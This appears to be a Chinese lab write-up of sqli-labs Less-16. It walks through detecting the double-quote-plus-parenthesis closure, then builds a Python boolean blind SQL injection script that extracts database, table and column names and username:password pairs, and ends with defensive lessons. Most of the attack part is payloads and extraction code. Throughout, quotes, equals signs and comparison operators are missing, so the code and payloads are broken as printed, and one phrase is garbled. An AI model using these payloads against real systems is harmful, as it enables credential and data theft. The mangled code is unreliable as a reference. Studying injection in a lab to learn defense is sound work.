sqli-labs Less-16 布尔盲注自动化脚本实战复盘 sqli-labs 我前前后后刷过三遍每次都有新收获但要说哪一关最让人卡壳Less-16 绝对排得上号。这一关是典型的 POST 型布尔盲注注入点藏在一个看似平平无奇的登录表单里闭合方式是双引号加括号)而且页面几乎不给你任何显式的报错回显——对了错了全靠一个登录成功/登录失败的提示来猜。手工测一次两次还行真要逐字符去猜库名表名字段名能猜到人怀疑人生。所以那次刷到这一关我直接停下手工写了一套自动化注入脚本来搞定它。这篇就完整复盘一下Less-16 到底怎么回事、闭合方式怎么测出来、自动化脚本怎么设计、以及我实测中踩过的几个坑。先说结论这个关卡的核心难点是两个字盲注。你提交的用户名参数会被拼进 SQL 查询查询结果对页面展示几乎没影响——不会报数据库错误也不会显示查询内容唯一区别就是欢迎登录和用户名或密码错误这两个页面状态。换句话说你只能用对/错这种极有限的反馈一点点把数据库里的数据逼问出来。手工做这件事极其痛苦自动化才是正解。1. Less-16 关卡的真实面目藏在登录框里的双引号括号闭合1.1 这一关到底在考什么先把这个靶场关卡的本质拆清楚。Less-16 的注入点位于登录接口的用户名参数服务端拿到输入后会把它拼进一段 SQL 查询中。关键在拼法——不是简单的字符串直接拼接而是用双引号加右括号的形式包住输入值拼接后的查询语句大致长这样SELECT username FROM users WHERE username ($uname) LIMIT 0,1注意看括号($uname)。外面是一对圆括号里面是一对双引号。这意味着你想闭合掉前面这段查询至少需要构造一个双引号和一个右括号)。很多人在这一关卡住就是因为光想着闭合双引号忘了还有个括号要一起闭合。闭合之后再跟上注释符--或者#把后面残留的右括号、LIMIT 等语句全部注释掉查询才能真正变成我们希望它执行的样子。这和我们熟悉的 Less-1单引号闭合、Less-2数字型无引号闭合都不太一样。Less-16 属于字符型注入里相对刁钻的一种——引号和括号同时出现考验的就是你对闭合关系的敏感度。它同时也提醒了我们一个事真实业务代码里SQL 语句的拼接方式千奇百怪$var、($var)、($var)都有可能不能只会测单引号。这个关卡本质上属于基于布尔的盲注Boolean-Based Blind SQL Injection。它不像报错注入那样能把报错信息直接暴露出来也不像联合查询注入那样能直接回显查询结果。整个页面只有两种状态非黑即白你必须利用这种二值反馈来逐步缩小数据范围。1.2 为什么手工测这一关特别痛苦我最初也试过纯手工测这一关。流程是这样的先用 Burp Suite 抓登录包然后改用户名参数的值发一个请求看页面返回是成功还是失败。第一次测试我构造了一个双引号加括号的闭合尝试admin) --页面提示登录失败说明闭合方式可能不对或者注释符有问题。然后又试了admin) #同样失败。接着换了闭合方式逐一试、、)、)、) #、) #……一轮下来页面反馈全部是失败。这里就会出现一个盲注最典型的困惑到底是闭合方式不对还是查询本身就不成立等好不容易找到了正确的闭合方式Less-16 最终确认是)配合#或--紧接着还有更麻烦的——猜数据。假如你要猜当前数据库的第一个字符你得发大约 128 个请求做二分查找每个字符 8 个 bit每个 bit 一次请求而一个库名可能包含七八个字符一张表名可能十几个字符再加上字段名、具体数据……纯手工发请求的话这个量级完全是在挑战人类耐心极限。实测下来我能很明确地说盲注这种场景自动化脚本不是可选项而是必需品。这也是我把这次经验沉淀成一套可复用脚本的根本原因。下面就从闭合方式探测开始完整走一遍。2. 手工探测闭合方式的完整过程别跳过这一步写自动化脚本之前有一个步骤绝对不能省略把闭合方式手工确认清楚。有些同学一上来就急着跑脚本结果脚本日志全是状态异常到头来连注入点都没找对。先花十分钟手工确认闭合方式后面能省一个小时。2.1 用响应差异判断闭合方式在 Burp Suite 里抓到登录请求后请求体大概长这样POST /sqli-labs/Less-16/index.php HTTP/1.1 Host: 127.0.0.1 Content-Type: application/x-www-form-urlencoded unameadminpasswdadminsubmitSubmit注意这个请求体的格式uname、passwd、submit三个参数用分隔。注入点在uname上。接下来我用一组对照实验来测试闭合方式。每个请求都直接在 Burp 的 Repeater 里改参数观察响应页面的长度和关键词。第一组测试看正常请求的响应基线unameadminpasswdadminsubmitSubmit返回页面正常显示包含登录成功之类的提示响应长度记下来比如 1200 字节。第二组测试给用户名加一个干扰字符unameadminpasswdadminsubmitSubmit如果页面变了——比如长度变短、显示登录失败——说明这个字符进入了 SQL 语句并且影响了查询结果。但仅凭失败还不够区分是哪一种闭合因为错误的闭合方式也可能会导致失败。关键在第三组测试用OR 11这种永真条件来验证闭合unameadmin) OR 11 --passwdadminsubmitSubmit如果页面返回成功说明我们传入的)确实闭合了前面的双引号和括号而且OR 11让查询恒真成功绕过了用户名校验。这里就能确认闭合方式是)。我把 Less-16 的几种常见尝试结果整理成了表格方便对照输入页面反馈结论admin失败单引号不匹配闭合方式不是admin失败双引号闭合了但括号没处理语法仍异常admin)失败右括号闭合了但引号类型不对admin)可能仍是失败看后面语法引号和括号都闭合了但注释符未正确传递时余下语法仍会报错admin) #成功正确闭合注释符生效admin) --成功同样正确注意--后需要空格在某些环境里代表空格这里有一个非常关键的细节--和#在 URL 编码中和直接提交时行为不完全一样。POST 表单里如果你直接写#在数据里它就是普通字符而在 GET 的 URL 里#是片段标识符会被浏览器截断。所以我们必须用 Burp 这类工具发包避免细微的编码差异干扰判断。--里的加号在表单提交时一般会被解析为空格正好满足 MySQL 注释符--后方必须有空格的语法要求。2.2 确认注入点后还要做的两个小验证闭合方式找到了别急着写脚本先做两个小验证确保注入点是稳定可控的。第一个验证用不可能成立的条件试试反向效果。unameadmin) AND 12 --passwdadminsubmitSubmit如果页面返回失败说明我们构造的条件真实参与进了 SQL 查询服务端确实是在拿我们的输入拼 SQL。这证明了注入点存在且生效。第二个验证试试不带闭合的普通恶意输入会不会触发报错。unameadmin OR 11passwdadminsubmitSubmit这个输入在很多新手眼里挺万能的但在 Less-16 里大概率会失败——因为闭合方式不对。页面虽然显示失败但不会报出具体错误信息这也是盲注的典型特征只在成功/失败两种状态间切换。完成这些验证就可以确定一个用于自动化脚本的注入模板了。我采用的是unameanything) AND {condition} --passwd任意值anything可以替换成任意无害字符串关键是后面紧跟)闭合然后写条件最后--注释掉多余语句。passwd参数保留原始值即可注入点不在它上面改了反而可能造成干扰。3. 自动化注入脚本的架构设计从请求到猜解分层实现确认了注入模板之后就可以动手写自动化脚本了。我用的 Python 3 加 requests 库没有比这更顺手的组合了。整个脚本我拆成了三层请求层、判定层、猜解层。每一层的职责单一化后续调试和维护都方便。3.1 请求层模拟浏览器提交 POST 表单请求层负责和靶场服务端做最基本的交互。模拟的是浏览器提交表单的行为Content-Type 要用application/x-www-form-urlencoded请求体把uname、passwd、submit三个字段带上。核心函数大概是这样的import requests BASE_URL http://127.0.0.1/sqli-labs/Less-16/index.php def send_payload(payload): data { uname: payload, passwd: admin, submit: Submit } resp requests.post(BASE_URL, datadata, timeout10) return resp.text这里有几个容易踩的坑。第一个是timeout参数不设的话万一某个查询特别慢数据量大、条件复杂requests 会一直等下去脚本就卡死了。设成 10 秒比较稳妥。第二个是data字典的字段顺序在表单提交中顺序不影响服务端解析不需要刻意调整。第三个是响应内容编码Less-16 页面是 UTF-8 编码resp.text默认会用响应头里的编码解析一般没问题但保险起见可以手动指定resp.encoding utf-83.2 判定层把页面反馈转换为布尔信号请求层拿到的是一整段 HTML 文本判定层要干的事就是从里面提取出成功还是失败的信号。这个信号就是整个自动化的基石。我观察过 Less-16 的响应文本成功时页面里会出现一段固定的欢迎文本失败时显示Login failed之类的提示。具体匹配哪个字符串每个环境可能略有差异所以我的判定函数里用了可配置的关键词列表SUCCESS_MARKERS [flag, success, 登录成功, Welcome] # 按实际情况调整 def is_true(html): for marker in SUCCESS_MARKERS: if marker in html: return True return False特别注意不要用响应长度做唯一判定标准。我踩过的一个坑是不同条件下页面长度可能非常接近长度差只有十几个字节网络抖动一下就可能误判。关键词匹配虽然朴素但在布尔盲注里是最稳定的方式因为它直接对应了服务端逻辑的二值输出。判定层还有一个细节建议写一个单独的手工验证函数先手动调用几次确认真实环境里的成功/失败关键词分别是什么。不要想当然我实测中就发现某些环境里成功页面的关键词和我预想的完全不同。3.3 猜解层逐字符提取数据的二分查找逻辑猜解层是脚本的核心逻辑。盲注提取数据的基本单位是字符的 ASCII 码每个字符每一位都要用一次条件查询来确认。朴素做法是从 0 到 255 逐一遍历每个字符最多要发 256 个请求太慢了。我直接用二分查找每个字符的查询次数从 256 降到 8。核心逻辑是这样的def extract_char(sql_expr, pos): low, high 0, 255 while low high: mid (low high) // 2 sub fascii(substr({sql_expr},{pos},1)){mid} if is_true(send_payload(fadmin) AND {sub} --)): low mid 1 else: high mid return chr(low)每轮查询在二分中点做一次大于判断根据真假结果把区间折半循环 8 次就锁定一个字符。substr函数从目标表达式里取出第pos个字符ascii函数把字符转成数字方便比较。这 8 次请求中每一次都相当于在问一句话这个字符的 ASCII 码是否大于 127然后根据回答继续问是否大于 191逐渐逼近精确值。整个过程像是在玩一个数字版的猜价格游戏每次报一个数字对方告诉你高了还是低了。8 次之内必然锁定答案。有了extract_char接下来就是长度探测和第几个字符的循环。长度探测用同样的二分思路def extract_length(sql_expr, max_len100): low, high 0, max_len while low high: mid (low high) // 2 cond flength({sql_expr}){mid} if is_true(send_payload(fadmin) AND {cond} --)): low mid 1 else: high mid return low我会先设max_len100实际长度超过 100 的场景很少但如果某个库名表名特别长可以调大这个值。长度拿到后再逐个字符提取def extract_string(sql_expr, max_len100): length extract_length(sql_expr, max_len) result for pos in range(1, length 1): result extract_char(sql_expr, pos) return result这三个函数组合起来就已经能应付几乎所有布尔盲注的猜解场景了。它们配合使用时首先是猜库名然后是表名、字段名最后是数据记录。4. 三层数据提取实战库名、表名、字段名与数据逐级击破有了上面的基础函数正式的提取流程就是庖丁解牛式的层层递进。我先提取当前使用的数据库名称再到表名再到字段名最后落到具体记录。每一步都有一个关键的 SQL 表达式作为输入理解了这几个表达式整条链路就通了。4.1 第一层当前数据库名提取库名只需要一步db_name extract_string(database(), max_len64) print(f[] 当前数据库名: {db_name})这里用到的database()是 MySQL 内置函数返回当前连接所使用的数据库名称。在 Less-16 靶场环境里结果通常就是security。这个结果不只是为了展示它是后续所有查询的定位锚点——我们要在security这个库里找表和字段相当于先在文件系统里确定了当前工作目录。4.2 第二层所有表名拿到数据库名后表名藏在information_schema.tables这个系统数据库里。这是 MySQL 的元数据库记录了所有数据库下所有表的元信息。查询条件注意带上table_schema限定tables_count_sql fselect count(*) from information_schema.tables where table_schemadatabase() tables_count extract_length(tables_count_sql, max_len200)等等这里就要注意了extract_length测量的是length(表达式)的结果但我的extract_length函数传入的就是一个完整的无条件表达式最终会把它包进length(...)里。而上面那个tables_count_sql本身就是select count(*) ...直接丢进length()里取长度逻辑上就错了。所以我实际写的时候会把条件直接放在extract_string的参数里用substr((select ...), pos, 1)这种子查询形式table_sql f(select table_name from information_schema.tables where table_schemadatabase() limit {i},1) table_name extract_string(table_sql)这里的核心技巧是limit配合偏移量。limit {i},1表示从第i行开始取一行每次循环取一个表名。limit 0,1取第一个limit 1,1取第二个以此类推。每拿到一个表名就打印一条一直到某个偏移量处提取结果为空说明表遍历完了。因为这套脚本要遍历所有表我得先知道表的总数。这其实是另一个提取步骤本质也是猜长度——只不过猜的是一个数字而不是字符串长度。我复用extract_length的思路对count(*)的结果做二分count_sql fselect count(*) from information_schema.tables where table_schemadatabase() table_count extract_length(f({count_sql}))注意我在count_sql外面包了一层括号这样length((select count(*) ...))里的length作用对象就是一个数字——这个数字可能是个位数或两位数length返回其位数。这种对数字做长度探测的技巧非常常用它能让你在不直接获取值的情况下先知道目标有多长为后续字符提取做准备。4.3 第三层表中的字段名表名逐个拿到后我们要找的往往是某个特定表里的字段。Less-16 靶场的核心表通常是users里面存放用户名和密码。字段名同样在information_schema.columns里找column_sql f(select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit {i},1) column_name extract_string(column_sql)这里比查表名多了一个table_name限定条件避免把其他表同名字段也捞出来。字段名常见的也就id、username、password几个但依然要遍历确认因为靶场版本不同字段名可能带前后缀。4.4 第四层表里的实际数据字段名知道后数据提取就是水到渠成的事。目标 SQL 表达式变成data_sql f(select group_concat(username,0x3a,password) from security.users) data_str extract_string(data_sql, max_len500)group_concat是 MySQL 的聚合函数可以把多行记录拼接成单个字符串这样就不需要逐行遍历 offset一次查询就能把所有目标行的某个字段拼起来。0x3a是冒号的十六进制表示作为分隔符方便后续人工拆分。security.users指定库名和表名如果前面已经知道库名直接拼上去最保险。到这一步为止库名、表名、字段名、数据已经被完整提取出来了。整条链路跑完我那次实测的结果是[] 数据库名: security [] 表名: emails, referers, uagents, users [] users 表字段: id, username, password [] users 数据: 1:admin:admin, 2:angelina:angelina, 3:dummy:dummy, ...数据提取是整个自动化脚本最有成就感的时刻看着一行行用户名密码从那个笨笨的登录框里被逼问出来你会觉得前面所有纠结都值了。5. 实测排错记录从报错到稳定运行的五个坑脚本写完只是第一步实测跑通才是真正的考验。我在跑这套脚本的过程中踩了五个坑每一个都有代表性写出来给后来人避避雷。5.1 坑一响应文本判定命中词不准导致虚高误判第一次跑脚本的时候我用的成功关键词是 success结果发现脚本判断大量条件为真提取出来的数据全乱了。手动在浏览器里打开页面看才发现这个靶场环境里成功提示的文本是 Welcome to the world of sqli-labs压根没有 success 这个词。这个问题的根源在于不同环境、不同靶场版本成功和失败页面的文本可能差异很大。我后来改成了关键词列表加手工验证的方案先用两个已知为真和已知为假的请求去测试提取逻辑确认命中词准确了再开始大批量猜测。5.2 坑二二分查找的边界条件写反二分查找的边界处理特别容易出错。最初我写的是if is_true(...): high mid - 1 else: low mid 1跑出来的结果是字符全部错乱ASCII 码对不上。仔细一分析我的条件写的是大于 mid那么返回为真时说明目标值在mid1到high之间应该更新low mid 1返回为假时说明目标值在low到mid之间应该更新high mid。我写反了导致搜索区间被翻转提取出来的字符自然全错。这个坑的教训是盲注脚本里的每一个逻辑分支都要拿已知字符串做回归验证。我在测试时先提取database()如果连库名都提取不对说明基础逻辑有问题先修基础再继续。这种先验证最小闭环的做法救了我很多次。5.3 坑三length 函数返回的是位数而非数值在提取表数量时我第一版代码直接这么写count_sql f(select count(*) from information_schema.tables where table_schemadatabase()) table_count extract_string(count_sql, max_len10)extract_string直接对(select count(...))做substr但substr对一个数字取子串MySQL 会先把数字转成字符串再截取这倒是能取到数字的每一位理论上没问题。但实际跑的时候发现效率极低——我只需要知道总共有多少张表却把这个数字的每一位是什么全猜了一遍。更尴尬的是如果数量是个位数比如 4它会取到字符串 4但我的extract_string默认从pos1开始取取到 4 就结束了倒是能正常返回。真正的问题出在另一种情况count(*)返回 12substr(12,1,1)返回 1substr(12,2,1)返回 2拼起来是 12没问题但如果返回 111三位数也没问题。所以这个方案反而可行只是效率低。后来我改成extract_length(f({count_sql}))——length((select count(...)))返回的是这个数字的位数直接二分到位快得多。5.4 坑四limit 偏移量导致越界报错遍历表名时我用limit {i},1一个个取。问题是当i超过表的实际数量时查询会返回空结果这时substr的结果为空ascii(substr(,1,1))在 MySQL 里返回NULL二分条件永远不成立循环会一直卡在extract_char里出不来。解决办法是写一个空值检测当某个偏移量处连续几次提取结果为空字符串时终止遍历。实现方式就是在提取每个字符串前先做一次长度是否为 0的探测# 用 length(...)0 判断当前偏移量是否越界 empty_check flength((select table_name from information_schema.tables where table_schemadatabase() limit {i},1))0 if is_true(send_payload(fadmin) AND {empty_check} --)): break这样每次循环先判空越界就退出不会死循环。不要以为这是小事我第一次跑脚本时就因为这个 bug 卡了整整半小时日志里全是同一个字符反复猜测。5.5 坑五URL 编码与表单编码对特殊字符的影响盲注条件里经常出现空格、引号、比较符号。在 POST 表单数据里这些字符本身不需要 URL 编码可以直接原样提交。但如果你把同一个 payload 放到 GET 的 URL 里空格和特殊字符就必须编码否则服务端解析会出错。我在调试时犯过一个错先在 Burp 的 Repeater 里测试好一个 payload然后直接复制到脚本里跑结果脚本失败。查了半天发现是脚本里用了requests.post的data字典它会把字典值原封不动放进请求体不进行 URL 编码这本身没问题但某些环境如果部署了 Web 应用防火墙可能会过滤请求体里的空格或比较符号。遇到这种情况我倾向于用#注释符在 POST 表单里不需要编码替代--因为--里那个加号在某些严格解析的场景下有歧义。注意不同版本的 sqli-labs 对注释符的支持不完全一致。有些环境--表现不稳定改用#做注释符更稳妥前提是在 POST 表单提交中#不会被当作片段标识符截断。6. 从注入视角回到防御视角这一关教会我们的三件事sqli-labs 是教学靶场刷它的终极目的不是为了炫技而是为了理解漏洞原理以便在真实开发中避免犯同样的错误。Less-16 这一关如果换个角度看它就是一个很好的反面教材至少能告诉我们三件关于防御的事。6.1 第一件事参数化查询是根治手段过滤是次优方案Less-16 的漏洞根源非常清晰服务端直接把用户输入拼进了 SQL 语句的字符串中。无论闭合方式多复杂只要存在字符串拼接注入就只是迟或早的问题。正确的防御手段是使用参数化查询把 SQL 语句结构和用户输入数据彻底分开。在 PHP 里就是 PDO 预处理Python 里是 DB-API 的参数占位符Java 里是 PreparedStatement。这些方案有一个共同点用户输入永远不会被解析成 SQL 代码它只是被当作一个数据值传给数据库引擎。这样不管攻击者构造、)还是#都只是个普通字符串无法改变查询逻辑。6.2 第二件事报错信息要隐藏但别以为隐藏了就行Less-16 之所以是盲注是因为页面不显示数据库报错信息。很多开发同学觉得我把报错信息隐藏了SQL 注入就打不进了吧这个想法非常危险。布尔盲注恰恰就是在完全无报错的情况下仅凭页面内容有/无变化这种二值信号来推断数据。这一关就是一个活生生的例子——从头到尾没有任何数据库报错信息但整个数据库还是能在几分钟内被自动化脚本拖走。正确的思路是隐藏报错只能增加攻击者的难度不能作为唯一的防线。真正的防线依然是参数化查询和最小权限原则。数据库账号不要用 root普通业务账号只给SELECT/INSERT/UPDATE/DELETE权限最大程度压缩注入带来的破坏范围。6.3 第三件事Web 应用防火墙能挡住一部分但别依赖它在真实生产环境里很多团队会在应用前面挂一层防火墙规则常见的做法是拦截带有union select、and 11这类特征串的请求。Less-16 这种自动化盲注脚本用的 payload 实际上长这样admin) AND ascii(substr((select ...),1,1))64 --这种 payload 的特征性不强——它不包含union select也不包含11只有substr、ascii、这些非常普通的字符片段。单纯靠特征匹配的规则很难拦住这类请求。所以防火墙能挡的是脚本小子挡不住真正理解注入原理的人。这也是为什么我一直强调从根上消灭拼接漏洞比事后拦截可靠得多。7. 写在最后自动化注入脚本的扩展思路sqli-labs-Less-16 的这套自动化方案并不局限于这一个关卡。我后来在刷其他靶场关卡时把脚本做了一些扩展整体思路可以迁移到很多按摩场景里简单提几个方向供参考。第一是改成时间盲注模式。有些靶场页面反馈完全无差异布尔信号不明显这时可以把判定层改为响应时间是否超过阈值。用sleep(1)这类函数配合条件判断条件为真时响应延迟条件为假时不延迟。代码层面的改动很小把is_true换成响应耗时是否大于 N 秒即可但要注意设置好超时时间和重试逻辑避免误判。第二是加入代理支持。requests 库天然支持proxies参数可以挂到本地抓包工具上方便调试每一条 payload 的实际情况。第三是自动识别目标环境。可以在脚本开头加入一组探测请求自动判断当前页面是哪种闭合方式——单引号、双引号、括号、单引号加括号、双引号加括号——然后动态生成注入模板。这样一套脚本就能通吃 sqli-labs 从 Less-1 到 Less-22 的大部分关卡。就我个人经验来说Less-16 是一个过了觉得不过如此没过觉得无从下手的关卡。自动化注入的核心不在于脚本写得多么花哨而在于你对闭合方式的理解、对判定逻辑的严谨、以及对二分查找边界的把握。把这三个点做好剩下就是机械劳动了。希望这篇复盘能帮你少走一些弯路刷靶场的时候少掉几根头发。